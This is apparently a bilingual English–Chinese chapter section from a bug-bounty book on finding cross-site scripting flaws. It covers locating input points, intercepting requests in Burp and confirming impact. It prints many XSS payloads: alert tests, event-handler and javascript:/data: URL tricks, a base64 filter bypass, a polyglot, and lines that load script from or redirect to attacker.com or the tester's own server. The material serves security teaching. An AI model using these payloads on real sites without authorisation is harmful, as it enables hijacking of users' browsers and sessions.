Question

Look for XSS in places where user input gets rendered on a page. The process will vary for the different types of XSS, but the central principle remains the same: check for reflected user input.

在用户输入被呈现在页面上的地方寻找 XSS。不同类型的 XSS 处理过程会有所不同，但核心原则保持不变：检查反射的用户输入。

In this section, we’ll hunt for XSS in web applications. But it’s important to remember that XSS vulnerabilities can also arise outside normal web applications. You can hunt for XSS in applications that communicate via non-HTTP protocols such as SMTP, SNMP, and DNS. Sometimes commercial apps such as email apps and other desktop apps receive data from these protocols. If you are interested in these techniques, you can check out Offensive Security’s Advanced Web Attacks and Exploitation training: https://www.offensive-security.com/awae-oswe/ .

在本节中，我们将在 Web 应用程序中寻找 XSS 漏洞。但是请记住，XSS 漏洞也可能出现在正常 Web 应用程序以外。您可以在通过非 HTTP 协议通信的应用程序中寻找 XSS，例如 SMTP，SNMP 和 DNS。有时商业应用程序，例如电子邮件应用程序和其他桌面应用程序，会从这些协议接收数据。如果您对这些技术感兴趣，可以查看 Offensive Security 的高级 Web 攻击和利用培训：https://www.offensive-security.com/awae-oswe/。

Before you start hunting for any vulnerability, it’s good to have Burp Suite or your preferred proxy on standby. Make sure you’ve configured your proxy to work with your browser. You can find instructions on how to do that in Chapter 4 .

在开始搜寻漏洞之前，最好先准备好 Burp Suite 或你所喜欢的代理工具。确保你已经将代理工具配置好可以与你的浏览器一起使用。你可以在第四章中找到如何配置代理工具的说明。

Step 1: Look for Input Opportunities

First, look for opportunities to submit user input to the target site. If you’re attempting stored XSS, search for places where input gets stored by the server and later displayed to the user, including comment fields, user profiles, and blog posts. The types of user input that are most often reflected back to the user are forms, search boxes, and name and username fields in sign-ups.

首先，寻找向目标网站提交用户输入的机会。如果你试图进行存储型 XSS 攻击，则需搜索服务器存储输入并稍后在评论字段、用户资料和博客文章中显示的位置。最常反映回用户的用户输入类型包括表单、搜索框以及注册时的姓名和用户名字段。

Don’t limit yourself to text input fields, either. Sometimes drop-down menus or numeric fields can allow you to perform XSS, because even if you can’t enter your payload on your browser, your proxy might let you insert it directly into the request. To do that, you can turn on your proxy’s traffic interception and modify the request before forwarding it to the server. For example, say a user input field seems to accept only numeric values on the web page, such as the age parameter in this POST request:

不要仅限于文本输入字段。有时下拉菜单或数值字段也可能允许你执行 XSS，因为即使你无法在浏览器上输入你的载荷，你的代理也可能让你直接将它插入请求中。为了做到这一点，你可以打开代理的流量拦截，并在将请求转发到服务器之前修改请求。例如，假设用户输入字段在网页上似乎只接受数字值，比如在这个 POST 请求中的年龄参数:

POST /edit_user_age
 
(Post request body)
age=20

You can still attempt to submit an XSS payload by intercepting the request via a web proxy and changing the input value:

你可以通过拦截请求并更改输入值来尝试提交 XSS 攻击载荷。

POST /edit_user_age
 
(Post request body)
age=    <script>alert('XSS by Vickie');</script>

In Burp, you can edit the request directly in the Proxy tab ( Figure 6-6 ).

在 Burp 中，您可以直接通过代理选项卡编辑请求（图 6-6）。

Figure 6-6 : Intercept the outgoing request to edit it before relaying it to the server.

图 6-6：在将请求中继到服务器之前拦截请求并进行编辑。

After you’re done editing, click Forward to forward the request to the server ( Figure 6-7 ).

编辑完成后，单击“转发”将请求转发给服务器（图 6-7）。

Figure 6-7 : Change the URL post request parameter to your XSS payload.

图 6-7：将 URL 的 POST 请求参数更改为您的 XSS 有效载荷。

If you’re hoping to find reflected and DOM XSS, look for user input in URL parameters, fragments, or pathnames that get displayed to the user. A good way to do this is to insert a custom string into each URL parameter and check whether it shows up in the returned page. Make this string specific enough that you’ll be sure your input caused it if you see it rendered. For example, I like to use the string "XSS_BY_VICKIE" . Insert your custom string into every user-input opportunity you can find. Then, when you view the page in the browser, search the page’s source code for it (you can access a page’s source code by right-clicking a page and selecting View Source) by using your browser’s page-search functionality (usually triggered by pressing CTRL -F). This should give you an idea of which user input fields appear in the resulting web page.

如果你希望找到反射型和 DOM 型跨站脚本漏洞，就要寻找在 URL 参数、片段或路径名中被展示给用户的用户输入。一个好的方法是在每个 URL 参数中插入一个自定义字符串，检查它是否出现在返回的页面中。这个字符串应该是足够特定的，以便你能确信它是由你的输入引起的。例如，我喜欢使用字符串"XSS_BY_VICKIE"。把你的自定义字符串插入到尽可能多的用户输入机会中。然后，当你在浏览器中查看网页时，使用浏览器的页面搜索功能（通常是通过按下 CTRL-F 触发）在页面源代码中搜索它（你可以通过右键单击页面并选择查看源代码来访问页面的源代码），这应该可以让你知道哪些用户输入字段出现在生成的网页中。

Step 2: Insert Payloads

Once you’ve identified the user-input opportunities present in an application, you can start entering a test XSS payload at the discovered injection points. The simplest payload to test with is an alert box:

一旦你发现了应用程序中存在的用户输入机会，就可以开始在发现的注入点输入测试的 XSS 负载。最简单的负载测试是一个提示框：

<script>alert('XSS by Vickie');</script>

If the attack succeeds, you should see a pop-up on the page with the text XSS by Vickie .

如攻击成功，您将在页面上看到一个弹窗，上面显示“Vickie 的 XSS”。

But this payload won’t work in typical web applications, save the most defenseless, because most websites nowadays implement some sort of XSS protection on their input fields. A simple payload like this one is more likely to work on IoT or embedded applications that don’t use the latest frameworks. If you are interested in IoT vulnerabilities, check out OWASP’s IoTGoat project at https://github.com/OWASP/IoTGoat/ . As XSS defenses become more advanced, the XSS payloads that get around these defenses grow more complex too.

但这种负载在典型的网络应用程序中无法工作，只能攻击最脆弱的网站，因为现在大多数网站都在它们的输入域中实现了一些 XSS 保护。像这样的简单负载更有可能在不使用最新框架的物联网或嵌入式应用程序中起作用。如果您对物联网漏洞感兴趣，请查看 OWASP 的 IoTGoat 项目，网址为 https://github.com/OWASP/IoTGoat/。随着 XSS 防御变得更加先进，绕过这些防御的 XSS 负载也变得更加复杂。

More Than a <script> Tag

Inserting <script> tags into victim web pages isn’t the only way to get your scripts executed in victim browsers. There are a few other tricks. First, you can change the values of attributes in HTML tags. Some HTML attributes allow you to specify a script to run if certain conditions are met. For example, the onload event attribute runs a specific script after the HTML element has loaded:

将<script>标签插入受害者网页并不是让你的脚本在受害者浏览器中执行的唯一方法。还有一些其他的技巧。首先，你可以改变 HTML 标签中属性的值。一些 HTML 属性允许你在满足某些条件时指定要运行的脚本。例如，onload 事件属性在 HTML 元素加载后运行一个特定的脚本：

<img onload=alert('The image has been loaded!') src="example.png">

Similarly, the onclick event attribute specifies the script to be executed when the element is clicked, and onerror specifies the script to run in case an error occurs loading the element. If you can insert code into these attributes, or even add a new event attribute into an HTML tag, you can create an XSS.

类似地，onclick 事件属性指定在单击元素时要执行的脚本，而 onerror 指定在加载元素时发生错误时要运行的脚本。如果您可以在这些属性中插入代码，甚至在 HTML 标记中添加新的事件属性，您就可以创建 XSS 攻击。

Another way you can achieve XSS is through special URL schemes, like javascript: and data: . The javascript: URL scheme allows you to execute JavaScript code specified in the URL. For example, entering this URL will cause an alert box with the text XSS by Vickie to appear:

你可以通过特殊的 URL 方案（如 javascript：和 data：）来实现 XSS 攻击。javascript：URL 方案允许你执行在 URL 中指定的 JavaScript 代码。例如，输入此 URL 将导致一个显示文本“XSS by Vickie”的警示框出现。

javascript:alert('XSS by Vickie')

This means that if you make the user load a javascript: URL, you can achieve XSS as well. Data URLs, those that use the data: scheme, allow you to embed small files in a URL. You can use these to embed JavaScript code into URLs too:

这意味着，如果你让用户加载一个 javascript: URL，你也可以实现 XSS。数据 URL，那些使用 data: 方案的 URL，允许你在 URL 中嵌入小文件。你也可以使用这些来在 URL 中嵌入 JavaScript 代码。

data:text/html;base64,    PHNjcmlwdD5hbGVydCgnWFNTIGJ5IFZpY2tpZScpPC9zY3JpcHQ+"

This URL will also generate an alert box , because the included data in the data URL is the base64-encoded version of the following script:

此链接也将生成警示框，因为数据 URL 中包含的数据是以下脚本的 Base64 编码版本：

<script>alert('XSS by Vickie')</script>

Documents contained within data: URLs do not need to be base64 encoded. For example, you can embed the JavaScript directly in the URL as follows, but base64 encoding can often help you bypass XSS filters:

数据 URL 中包含的文档无需进行 base64 编码。例如，您可以将 JavaScript 直接嵌入 URL 中，但 base64 编码通常可以帮助您绕过 XSS 过滤器。

data:text/html,<script>alert('XSS by Vickie')</script>

You can utilize these URLs to trigger XSS when a site allows URL input from users. A site might allow the user to load an image by using a URL and use it as their profile picture, like this:

当一个网站允许用户输入 URL 时，你可以利用这些 URL 触发 XSS 攻击。一个网站可能允许用户使用 URL 加载图片并将其作为他们的个人资料图片，如下所示：

https://example.com/upload_profile_pic?url=IMAGE_URL

The application will then render a preview on the web page by inserting the URL into an <img> tag. If you insert a JavaScript or data URL, you can trick the victim’s browser into loading your JavaScript code:

应用程序将通过将 URL 插入到<img>标记中，在 Web 页面上呈现预览。如果您插入 JavaScript 或数据 URL，则可以欺骗受害者的浏览器加载您的 JavaScript 代码：

<img src="IMAGE_URL"/>

There are many more ways to execute JavaScript code to bypass XSS protection. You can find more example payloads on PortSwigger at https://portswigger.net/web-security/cross-site-scripting/cheat-sheet/ . Different browsers also support different tags and event handlers, so you should always test by using multiple browsers when hunting for XSS.

绕过 XSS 保护的执行 JavaScript 代码的方法还有很多种。您可以在 PortSwigger 上找到更多示例负载，网址为 https://portswigger.net/web-security/cross-site-scripting/cheat-sheet/。不同的浏览器也支持不同的标签和事件处理程序，因此在寻找 XSS 时，您应该始终使用多个浏览器进行测试。

Closing Out HTML Tags

When inserting an XSS payload, you’ll often have to close out a previous HTML tag by including its closing angle bracket. This is necessary when you’re placing your user input inside one HTML element but want to run JavaScript using a different HTML element. You have to complete the previous tag before you can start a new one to avoid causing a syntax error. Otherwise, the browser won’t interpret your payload correctly. For example, if you’re inserting input into an <img> tag, you need to close out the <img> tag before you can start a <script> tag. Here is the original <img> tag with a placeholder for user input:

在插入 XSS 载荷时，通常必须通过包含其闭合角括号来关闭先前的 HTML 标签。当您将用户输入放入一个 HTML 元素中但希望使用另一个 HTML 元素运行 JavaScript 时，这是必要的。在开始新标签之前，必须完成先前的标签，以避免导致语法错误。否则，浏览器不会正确解释您的有效载荷。例如，如果您将输入插入到 <img> 标签中，则需要在开始 <script> 标签之前关闭 <img> 标签。以下是具有用户输入占位符的原始 <img> 标签：

<img src="USER_INPUT">

To close out the tag, your payload has to include the ending of an <img> tag before the JavaScript. The payload might look like this:

为了关闭标签，您的负载必须包括 JavaScript 之前的<img>标签的结尾。有效负载可能如下所示：

"/><script>location="    http://attacker.com ";</script>

When injected into the <img> tag, the resulting HTML will look like this (with the injected portion in bold):

当它被注入到<img>标签中时，生成的 HTML 将会看起来像这样（被注入的部分是粗体）：

<img src="    "/><script>location="http://attacker.com";</script>" >

This payload closes the string that was supposed to contain the user input by providing a double quote, then closes the <img> tag with a tag ending in /> . Finally, the payload injects a complete script tag after the <img> tag.

此负载通过提供一个双引号关闭原本应包含用户输入的字符串，然后使用以/>结束的标签关闭<img>标签。最后，在<img>标签之后注入完整的<script>标签。

If your payload is not working, you can check whether your payload caused syntax errors in the returned document. You can inspect the returned document in your proxy and look for unclosed tags or other syntax issues. You can also open your browser’s console and see if the browser runs into any errors loading the page. In Firefox, you can open the console by right-clicking the page and choosing Inspect Element ▶ Console .

如果您的有效载荷无法工作，请检查返回文档中是否存在语法错误引起的问题。您可以在代理中检查返回文档并查找未封闭标签或其他语法问题。您还可以打开浏览器的控制台，查看浏览器是否遇到任何加载页面的错误。在 Firefox 中，您可以通过右键单击页面并选择“检查元素”▶“控制台”来打开控制台。

You can find more common XSS payloads online. Table 6-1 lists some examples.

你可以在网上找到更常见的 XSS 负载。表 6-1 列出了一些例子。

Table 6-1 : Common XSS Payloads

表 6-1：常见的 XSS 载荷

Payload	Purpose
<script>alert(1)</script>	This is the most generic XSS payload. It will generate a pop-up box if the payload succeeds.
<iframe src=javascript:alert(1)>	This payload loads JavaScript code within an iframe. It’s useful when <script> tags are banned by the XSS filter.
<body onload=alert(1)>	This payload is useful when your input string can’t contain the term script . It inserts an HTML element that will run JavaScript automatically after it’s loaded.
"><img src=x onerror=prompt(1);>	This payload closes out the previous tag. It then injects an <img> tag with an invalid source URL. Once the tag fails to load, it will run the JavaScript specified in the onerror attribute.
<script>alert(1)<!–	<!- is the start of an HTML comment. This payload will comment out the rest of the line in the HTML document to prevent syntax errors.
<a onmouseover"alert(1)">test</a>	This payload inserts a link that will cause JavaScript to execute after a user hovers over the link with their cursor.
<script src=//attacker.com/test.js>	This payload causes the browser to load and run an external script hosted on the attacker’s server.

Hackers have designed many more creative payloads. Search XSS payloads online for more ideas. That said, taking a long list of payloads and trying them one by one can be time-consuming and unproductive. Another way of approaching manual XSS testing is to insert an XSS polyglot , a type of XSS payload that executes in multiple contexts. For example, it will execute regardless of whether it is inserted into an <img> tag, a <script> tag, or a generic <p> tag and can bypass some XSS filters. Take a look at this polyglot payload published by EdOverflow at https://polyglot.innerht.ml/ :

黑客设计了许多更有创意的有效负载。在线搜索 XSS 有效负载以获取更多想法。话虽如此，一个一个地尝试长列表的有效负载可能耗费时间且无效。手动测试 XSS 的另一种方法是插入 XSS 多语言，这是一种在多个上下文中执行的类型的 XSS 有效负载。例如，它将在无论是插入到<img>标记、<script>标记还是通用的<p>标记中执行，并可以绕过一些 XSS 过滤器。请查看 EdOverflow 在 https://polyglot.innerht.ml/上发布的这个多语言有效负载：

javascript:"/*\"/*`/*' /*</template>
</textarea></noembed></noscript></title>
</style></script>-->&lt;svg onload=/*<html/*/onmouseover=alert()//>

The details of this payload are beyond the scope of the book, but it contains multiple ways of creating an XSS—so if one method fails, another one can still induce the XSS.

本书不涉及此有效载荷的细节，但它包含多种创建 XSS 的方法-因此，如果一种方法失败，另一种方法仍然可以诱发 XSS。

Another way of testing for XSS more efficiently is to use generic test strings instead of XSS payloads. Insert a string of special HTML characters often used in XSS payloads, such as the following: >'<"//:=;!-- . Take note of which ones the application escapes and which get rendered directly. Then you can construct test XSS payloads from the characters that you know the application isn’t properly sanitizing.

另一种更有效地测试 XSS 的方法是使用通用的测试字符而不是 XSS 负载。插入一组特殊的 HTML 字符，通常用于 XSS 负载，例如以下字符：> '<“//：= ; !--。注意应用程序转义哪些字符以及哪些直接呈现。然后，您可以从您知道应用程序未正确净化的字符构建测试 XSS 负载。

Blind XSS flaws are harder to detect; since you can’t detect them by looking for reflected input, you can’t test for them by trying to generate an alert box. Instead, try making the victim’s browser generate a request to a server you own. For example, you can submit the following payload, which will make the victim’s browser request the page /xss on your server:

"盲目的 XSS 漏洞更难以检测；因为您无法通过寻找反射的输入来检测它们，所以您无法尝试生成警报框来测试它们。相反，尝试使受害者的浏览器生成请求并发送至您拥有的服务器。例如，您可以提交以下有效负载，这将使受害者的浏览器请求您服务器上的页面/xss："

<script src='http://YOUR_SERVER_IP/xss'></script>

Then, you can monitor your server logs to see if anyone requests that page. If you see a request to the path /xss , a blind XSS has been triggered! Tools like XSS Hunter ( https://xsshunter.com/features ) can automate this process. We’ll also talk more about setting up a server to test for multiple types of vulnerabilities in Chapter 13 .

然后，您可以监视服务器日志以查看是否有人请求该页面。如果您看到对路径/xss 的请求，则已触发盲目 XSS！像 XSS Hunter（https://xsshunter.com/features）这样的工具可以自动化此过程。我们还将在第 13 章中更多地探讨设置服务器以测试多种类型漏洞的内容。

Finally, although hackers typically discover new XSS vectors manually, a good way to automatically test a site for already-known XSS vectors is through fuzzing. We’ll talk about fuzzing and automatic bug finding in Chapter 25 .

尽管黑客通常手动发现新的 XSS 向量，但自动测试已知的 XSS 向量的网站的好方法是通过模糊测试。我们将在第 25 章中讨论模糊测试和自动漏洞发现。

Step 3: Confirm the Impact

Check for your payload on the destination page. If you’re using an alert function, was a pop-up box generated on the page? If you’re using a location payload, did your browser redirect you offsite?

在目的页面上检查您的有效载荷。如果您使用警报功能，页面上是否生成了弹出框？如果您使用位置有效载荷，您的浏览器是否将您重定向到外部网站？

Be aware that sites might also use user input to construct something other than the next returned web page. Your input could show up in future web pages, email, and file portals. A time delay also might occur between when the payload is submitted and when the user input is rendered. This situation is common in log files and analytics pages. If you’re targeting these, your payload might not execute until later, or in another user’s account. And certain XSS payloads will execute under only certain contexts, such as when an admin is logged in or when the user actively clicks, or hovers over, certain HTML elements. Confirm the impact of the XSS payload by browsing to the necessary pages and performing those actions.

请注意，网站可能会使用用户输入来构建除下一个返回的网页外的其他内容。您的输入可能会出现在未来的网页、电子邮件和文件门户中。提交有效负载和呈现用户输入之间也可能会出现时间延迟。这种情况在日志文件和分析页面中很常见。如果您的目标是这些页面，您的有效负载可能直到稍后，或在另一个用户的帐户中才会执行。某些 XSS 负载仅在特定上下文中执行，例如管理员登录时或用户主动单击或悬停在某些 HTML 元素上时。浏览必要页面并执行这些操作，以确认 XSS 负载的影响。